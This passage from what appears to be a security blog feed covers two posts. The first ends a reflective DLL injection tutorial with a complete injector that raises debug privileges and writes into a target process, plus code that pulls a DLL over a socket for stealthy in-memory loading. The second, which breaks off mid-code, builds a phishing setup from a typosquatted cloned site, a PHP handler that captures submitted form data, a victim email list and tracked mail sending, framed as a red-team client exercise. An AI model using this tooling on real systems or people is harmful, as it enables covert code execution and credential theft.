                        <span class="kt">char</span><span class="o">*</span> <span class="n">cpCommandLine</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">lpReserved</span><span class="p">;</span>
            <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">cpCommandLine</span><span class="p">,</span> <span class="s">"Hello, World!"</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
			
			<span class="k">break</span><span class="p">;</span>
		<span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
		<span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
		<span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
	<span class="k">return</span> <span class="n">bReturnValue</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The above will show a message box showing the parameters that were passed from the injector.</p>

<h3 id="making-a-reflective-dll">Making a Reflective DLL</h3>
<p>A Simple Reflective DLL Example is here</p>

<p>https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveDll.cpp</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include "ReflectiveLoader.h"
#include "Output.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	switch( dwReason ) 
    { 
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
            MessageBoxA(NULL, "Hello from Reflective DLL!", "Success", MB_OK);
			Send("Evening the Odds.");
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}
</code></pre></div></div>
<p>I’m gonna be using this as base to build our sample DLL. This, Currently, Shows a message box and returns output “Evening the Odds”. I wrote this for testing Outputs.</p>

<p>Let’s make a DLL that Reads in a URL from Parameters and Opens it, Then return output.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"ReflectiveLoader.h"</span><span class="cp">
#include</span> <span class="cpf">"Output.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;shellapi.h&gt;</span><span class="cp">
#include</span><span class="cpf">&lt;sstream&gt;</span><span class="cp">
</span>
<span class="k">extern</span> <span class="n">HINSTANCE</span> <span class="n">hAppInstance</span><span class="p">;</span>

<span class="c1">//===============================================================================================//</span>
<span class="n">BOOL</span> <span class="n">WINAPI</span> <span class="nf">DllMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hinstDLL</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwReason</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpReserved</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">BOOL</span> <span class="n">bReturnValue</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
	<span class="kt">char</span><span class="o">*</span> <span class="n">Url</span><span class="p">;</span>
	<span class="n">std</span><span class="o">::</span><span class="n">ostringstream</span> <span class="n">out</span><span class="p">;</span>
	<span class="k">switch</span> <span class="p">(</span><span class="n">dwReason</span><span class="p">)</span>
	<span class="p">{</span>
	<span class="k">case</span> <span class="n">DLL_QUERY_HMODULE</span><span class="p">:</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">lpReserved</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
			<span class="o">*</span><span class="p">(</span><span class="n">HMODULE</span><span class="o">*</span><span class="p">)</span><span class="n">lpReserved</span> <span class="o">=</span> <span class="n">hAppInstance</span><span class="p">;</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
		<span class="n">hAppInstance</span> <span class="o">=</span> <span class="n">hinstDLL</span><span class="p">;</span>	
		
		<span class="n">Url</span><span class="o">=</span>  <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">lpReserved</span><span class="p">;</span> <span class="c1">// The url passed in parameter by our injector, make sure the url starts with http/https</span>
		<span class="n">ShellExecute</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">Url</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SW_SHOW</span><span class="p">);</span> <span class="c1">// open the url</span>
		<span class="n">out</span> <span class="o">&lt;&lt;</span> <span class="s">"Opened URL : "</span> <span class="o">&lt;&lt;</span> <span class="n">Url</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
		<span class="n">Send</span><span class="p">(</span><span class="n">out</span><span class="p">.</span><span class="n">str</span><span class="p">().</span><span class="n">c_str</span><span class="p">());</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">bReturnValue</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The above dll is pretty simple, It reads in the url from parameters, Opens the url using ShellExecute and sends output to the injector that the url Url was opened.</p>

<p>But a Reflective DLL is nothing without the injector. So let’s make a complete injector for this.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define WIN32_LEAN_AND_MEAN
#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"Output.h"</span><span class="cp">
#include</span> <span class="cpf">"LoadLibraryR.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span>
<span class="cp">#pragma comment(lib,"Advapi32.lib")
</span>
<span class="cp">#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
</span>
<span class="c1">// Simple app to inject a reflective DLL into a process vis its process ID.</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span> <span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[]</span> <span class="p">)</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">hFile</span>          <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hModule</span>        <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span>       <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hToken</span>         <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">LPVOID</span> <span class="n">lpBuffer</span>       <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwLength</span>        <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwBytesRead</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwProcessId</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">TOKEN_PRIVILEGES</span> <span class="n">priv</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
	<span class="n">LPVOID</span> <span class="n">lpRemoteCommandLine</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="kt">char</span><span class="o">*</span> <span class="n">cpCommandLine</span> <span class="o">=</span> <span class="s">"https://quantumcored.com"</span><span class="p">;</span>

<span class="cp">#ifdef WIN_X64
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.x64.dll"</span><span class="p">;</span>
<span class="cp">#else
#ifdef WIN_X86
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.dll"</span><span class="p">;</span>
<span class="cp">#else WIN_ARM
</span>	<span class="kt">char</span> <span class="o">*</span> <span class="n">cpDllFile</span>  <span class="o">=</span> <span class="s">"reflective_dll.arm.dll"</span><span class="p">;</span>
<span class="cp">#endif
#endif
</span>
	<span class="k">do</span>
	<span class="p">{</span>
		<span class="c1">// Usage: inject.exe [pid] [dll_file]</span>
		<span class="n">BOOL</span> <span class="n">readOutput</span><span class="p">;</span>
		<span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">input</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">seconds</span><span class="p">;</span>
		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Would you like to read the DLL Output? (y/N) : "</span><span class="p">;</span>
		<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">input</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">.</span><span class="n">rfind</span><span class="p">(</span><span class="s">"y"</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">input</span><span class="p">.</span><span class="n">rfind</span><span class="p">(</span><span class="s">"Y"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Enter number of seconds to wait before Reading Output : "</span><span class="p">;</span>
			<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">seconds</span><span class="p">;</span>
			<span class="n">readOutput</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
			<span class="n">Prepare</span><span class="p">();</span>
		<span class="p">}</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">argc</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
			<span class="n">dwProcessId</span> <span class="o">=</span> <span class="n">GetCurrentProcessId</span><span class="p">();</span>
		<span class="k">else</span>
			<span class="n">dwProcessId</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">);</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">argc</span> <span class="o">&gt;=</span> <span class="mi">3</span> <span class="p">)</span>
			<span class="n">cpDllFile</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>

		<span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span> <span class="n">cpDllFile</span><span class="p">,</span> <span class="n">GENERIC_READ</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="n">FILE_ATTRIBUTE_NORMAL</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="n">hFile</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to open the DLL file"</span> <span class="p">);</span>

		<span class="n">dwLength</span> <span class="o">=</span> <span class="n">GetFileSize</span><span class="p">(</span> <span class="n">hFile</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="n">dwLength</span> <span class="o">==</span> <span class="n">INVALID_FILE_SIZE</span> <span class="o">||</span> <span class="n">dwLength</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to get the DLL file size"</span> <span class="p">);</span>

		<span class="n">lpBuffer</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span> <span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">dwLength</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="n">lpBuffer</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to get the DLL file size"</span> <span class="p">);</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">ReadFile</span><span class="p">(</span> <span class="n">hFile</span><span class="p">,</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">dwLength</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwBytesRead</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">)</span> <span class="o">==</span> <span class="n">FALSE</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to alloc a buffer!"</span> <span class="p">);</span>

		<span class="k">if</span><span class="p">(</span> <span class="n">OpenProcessToken</span><span class="p">(</span> <span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hToken</span> <span class="p">)</span> <span class="p">)</span>
		<span class="p">{</span>
			<span class="n">priv</span><span class="p">.</span><span class="n">PrivilegeCount</span>           <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
			<span class="n">priv</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>
		
			<span class="k">if</span><span class="p">(</span> <span class="n">LookupPrivilegeValue</span><span class="p">(</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">SE_DEBUG_NAME</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">priv</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Luid</span> <span class="p">)</span> <span class="p">)</span>
				<span class="n">AdjustTokenPrivileges</span><span class="p">(</span> <span class="n">hToken</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">priv</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">);</span>

			<span class="n">CloseHandle</span><span class="p">(</span> <span class="n">hToken</span> <span class="p">);</span>
		<span class="p">}</span>

		<span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span> <span class="n">PROCESS_CREATE_THREAD</span> <span class="o">|</span> <span class="n">PROCESS_QUERY_INFORMATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_OPERATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_WRITE</span> <span class="o">|</span> <span class="n">PROCESS_VM_READ</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">dwProcessId</span> <span class="p">);</span>
		<span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="n">hProcess</span> <span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span> <span class="s">"Failed to open the target process"</span> <span class="p">);</span>

		<span class="n">lpRemoteCommandLine</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">cpCommandLine</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">lpRemoteCommandLine</span><span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"&amp;#91;INJECT] inject_dll. VirtualAllocEx 1 failed"</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">lpRemoteCommandLine</span><span class="p">,</span> <span class="n">cpCommandLine</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">cpCommandLine</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"&amp;#91;INJECT] inject_dll. WriteProcessMemory 1 failed"</span><span class="p">);</span> <span class="c1">// write parameters</span>

		<span class="n">hModule</span> <span class="o">=</span> <span class="n">LoadRemoteLibraryR</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">lpBuffer</span><span class="p">,</span> <span class="n">dwLength</span><span class="p">,</span> <span class="n">lpRemoteCommandLine</span><span class="p">);</span> <span class="c1">// Load the dll</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hModule</span><span class="p">)</span>
			<span class="n">BREAK_WITH_ERROR</span><span class="p">(</span><span class="s">"Failed to inject the DLL"</span><span class="p">);</span>

		<span class="n">printf</span><span class="p">(</span> <span class="s">"[+] Injected the '%s' DLL into process %d."</span><span class="p">,</span> <span class="n">cpDllFile</span><span class="p">,</span> <span class="n">dwProcessId</span> <span class="p">);</span>
		
		<span class="n">WaitForSingleObject</span><span class="p">(</span> <span class="n">hModule</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">readOutput</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">[+] DLL Output : %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ReadReflectiveDllOutput</span><span class="p">(</span><span class="n">seconds</span><span class="p">).</span><span class="n">c_str</span><span class="p">());</span>
		<span class="p">}</span>
		

	<span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="mi">0</span> <span class="p">);</span>


	<span class="k">if</span><span class="p">(</span> <span class="n">lpBuffer</span> <span class="p">)</span>
		<span class="n">HeapFree</span><span class="p">(</span> <span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpBuffer</span> <span class="p">);</span>

	<span class="k">if</span><span class="p">(</span> <span class="n">hProcess</span> <span class="p">)</span>
		<span class="n">CloseHandle</span><span class="p">(</span> <span class="n">hProcess</span> <span class="p">);</span>


	
	
	

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="loading-the-dll-over-socket">Loading the DLL over socket</h3>
<p>The DLL can also be loaded over a network using Sockets, And injected.</p>

<p>Sample code :</p>

<p>https://github.com/quantumcored/remote_hacker_probe/blob/main/probe/windows/ProbeCpp.cpp#L257</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">DLL</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">expected</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// This is where DLL will be stored</span>
<span class="c1">// Where 'expected' is the Size of the dll.</span>

            <span class="n">memset</span><span class="p">(</span><span class="n">recvbuf</span><span class="p">,</span> <span class="sc">'\0'</span><span class="p">,</span> <span class="n">BUFFER</span><span class="p">);</span>
            <span class="n">ZeroMemory</span><span class="p">(</span><span class="n">DLL</span><span class="p">,</span> <span class="n">expected</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
            <span class="kt">int</span> <span class="n">total</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

            <span class="k">do</span> <span class="p">{</span>
                <span class="n">fsize</span> <span class="o">=</span> <span class="n">recv</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="n">recvbuf</span><span class="p">,</span> <span class="n">BUFFER</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">fsize</span> <span class="o">==</span> <span class="n">SOCKET_ERROR</span> <span class="o">&amp;&amp;</span> <span class="n">WSAGetLastError</span><span class="p">()</span> <span class="o">==</span> <span class="n">WSAECONNRESET</span><span class="p">)</span>
                <span class="p">{</span>
                    <span class="n">connected</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span>
                    <span class="c1">// printf("[X] Connection interrupted while receiving DLL\n");</span>
                <span class="p">}</span>
                <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">fsize</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                    <span class="k">break</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="k">else</span> <span class="p">{</span>
                    <span class="n">memcpy</span><span class="p">(</span><span class="n">DLL</span> <span class="o">+</span> <span class="n">total</span><span class="p">,</span> <span class="n">recvbuf</span><span class="p">,</span> <span class="n">fsize</span><span class="p">);</span>
                    <span class="n">total</span> <span class="o">+=</span> <span class="n">fsize</span><span class="p">;</span>
                <span class="p">}</span>
            <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">total</span> <span class="o">!=</span> <span class="n">expected</span><span class="p">);</span>
<span class="c1">// Continue Injecting the DLL.</span>
</code></pre></div></div>
<p>Giving stealth when running code remotely.</p>

<h3 id="reflective-dll-malware-payloads">Reflective DLL Malware Payloads</h3>
<p>Having the ability to run your own code in Memory is a great. You can write your own Reflective DLLS and run them.</p>

<p>That’s how metasploits meterpreter works. It relies heavily on Reflective DLL Injection. Many advanced frameworks use Reflective DLL Injection, Including Cobalt Strike, Metasploit and many APT’s.</p>

<p><img src="https://giffiles.alphacoders.com/206/206734.gif" alt="1" /></p>

<p>Thanks for reading!</p>]]></content><author><name>Fahad</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Crafting your own Phishing Infrastructure</title><link href="https://quantumcore.github.io/2025/04/10/custom-phishing-infrastructure.html" rel="alternate" type="text/html" title="Crafting your own Phishing Infrastructure" /><published>2025-04-10T00:00:00+00:00</published><updated>2025-04-10T00:00:00+00:00</updated><id>https://quantumcore.github.io/2025/04/10/custom-phishing-infrastructure</id><content type="html" xml:base="https://quantumcore.github.io/2025/04/10/custom-phishing-infrastructure.html"><![CDATA[<p><img src="https://giffiles.alphacoders.com/206/206734.gif" alt="1" /></p>

<p>Recently, I was assigned to carry out a phishing simulation for a client. Of course, the most efficient approach was to leverage an existing framework—such as Gophish—for the setup.</p>

<h3 id="the-problem-with-gophish">The Problem with GoPhish</h3>

<p>Using gophish, the entire phishing campaign would be easily executed with a click of a button. Makes life simple, but the problem is that mails sent from GoPhish land directly in the SPAM folder. This was a huge problem since I also knew that my targets were using Office 365 with Windows Defender for Outlook service. Which easily detects spam / phishing mails.</p>

<p>Mail sent with Gophish append the following headers:</p>

<ul>
  <li>X-Gophish-Contact</li>
  <li>X-Gophish-Signature</li>
</ul>

<p>This is a major problem for us red teamers since security controls can easily detect a mail with such headers as malicious.</p>

<p>Now there are two ways to proceed:</p>

<ol>
  <li>
    <p>Rebuild Gophish from source code and add in custom headers, as detailed in this <a href="https://www.sprocketsecurity.com/blog/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls">Guide.</a></p>
  </li>
  <li>
    <p>Create your own custom Phishing Infrastructure.</p>
  </li>
</ol>

<p>Of course the first method is not as interesting and fun as the second, Lets make our own phishing infra.</p>

<p><strong>For privacy reasons, Lets refer to my client against which this phishing campaign was executed as Hackme LTD.</strong></p>

<h4 id="prerequisites"><strong>Prerequisites</strong></h4>

<ul>
  <li>
    <p>A <a href="https://en.wikipedia.org/wiki/Typosquatting">Typosquatting</a> domain.</p>

    <ul>
      <li>For example, if the original domain is hackme.com, we would obtain hackmee.com.</li>
    </ul>
  </li>
  <li>
    <p>Email accounts to send the emails from.</p>
  </li>
  <li>
    <p>A clone of the original website using GoClone.</p>
  </li>
  <li>
    <p>A Droplet or server to track the emails.</p>
  </li>
</ul>

<h5 id="1-setting-up-a-typosquat-website">1. Setting up a TypoSquat Website</h5>

<p>Use goclone to clone the original website.</p>

<p><img src="https://github.com/goclone-dev/goclone/raw/master/docs/media/bitski.gif" alt="s" /></p>

<p>For this phishing campaign to work properly, We need the victim to submit they’re information somewhere. You can acheive this by implementing your own custom login / data submission forms, and use the following <em>example</em> php to capture the data.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'POST'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$file</span> <span class="o">=</span> <span class="s1">'post_data.txt'</span><span class="p">;</span>
    <span class="nv">$postData</span> <span class="o">=</span> <span class="nb">json_encode</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">);</span> 
    <span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nv">$postData</span> <span class="mf">.</span> <span class="kc">PHP_EOL</span><span class="p">,</span> <span class="no">FILE_APPEND</span><span class="p">);</span>
    
    <span class="k">echo</span> <span class="s2">"Data has been saved successfully."</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">"No POST data received."</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>This would save the post-ed data to a local file on the webserver. However, with just few modifications you can modify it to email the data or any other way to save it.</p>

<p>At this point, Step 1 is complete, A typosquatted website that captures the data submitted on the website and saves it. Make sure you add SSL Certificates to improve legitimacy.</p>

<h5 id="2-mail-tracking-system">2. Mail Tracking System</h5>

<p>Since gophish logs email clicks, We have to implement this feature. This data is valuable to us to see which users clicked the phishing email, And which user clicked the links in the email.</p>

<p>Gophish implements this feature by using a tracking image pixel. When the email is loaded in the mail client, a request is sent back to the Gophish server to load the image, indicating that the email has been opened.</p>

<p>Lets write our mail tracking system, that would, Send the mails, Track if they are opened / read and also track if the buttons in the mail were clicked.</p>

<p>Lets make a csv containing our victims email addresses, These would be the employees from Hackme LTD.</p>

<p>eg:</p>

<pre><code class="language-csv">id,first_name,last_name,email
52SLD,Jhon,Doe,jhon.doe@hackme.ltd
</code></pre>

<h5 id="sending-the-mails">Sending the Mails</h5>

<p>Using the following code, We can send email for each user in the csv with their own unique identifier that we can use to track them.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">send_tracked_email</span><span class="p">(</span><span class="n">recipient</span><span class="p">,</span> <span class="n">rid</span><span class="p">,</span> <span class="n">body</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">body</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">body</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
        Click here: &lt;a href="https://hackme.ltd/?rid=</span><span class="si">{</span><span class="n">rid</span><span class="si">}</span><span class="s">"&gt;https://hackme.ltd/&lt;/a&gt;
        """</span>
    
    <span class="c1"># Generate unique tracking IDs
</span>    <span class="n">open_tracker_id</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">())</span>
    <span class="n">click_tracker_id</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">())</span>

    <span class="c1"># Store tracking IDs in database
</span>    <span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"INSERT INTO tracking_data (id, type, rid) VALUES (?, ?, ?)"</span><span class="p">,</span>
              <span class="p">(</span><span class="n">open_tracker_id</span><span class="p">,</span> <span class="s">'open'</span><span class="p">,</span> <span class="n">rid</span><span class="p">))</span>
    <span class="n">c</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"INSERT INTO tracking_data (id, type, rid) VALUES (?, ?, ?)"</span><span class="p">,</span>
              <span class="p">(</span><span class="n">click_tracker_id</span><span class="p">,</span> <span class="s">'click'</span><span class="p">,</span> <span class="n">rid</span><span class="p">))</span>
    <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>

    <span class="c1"># Create email content
</span>    <span class="n">subject</span> <span class="o">=</span> <span class="s">"Hello, World!"</span>
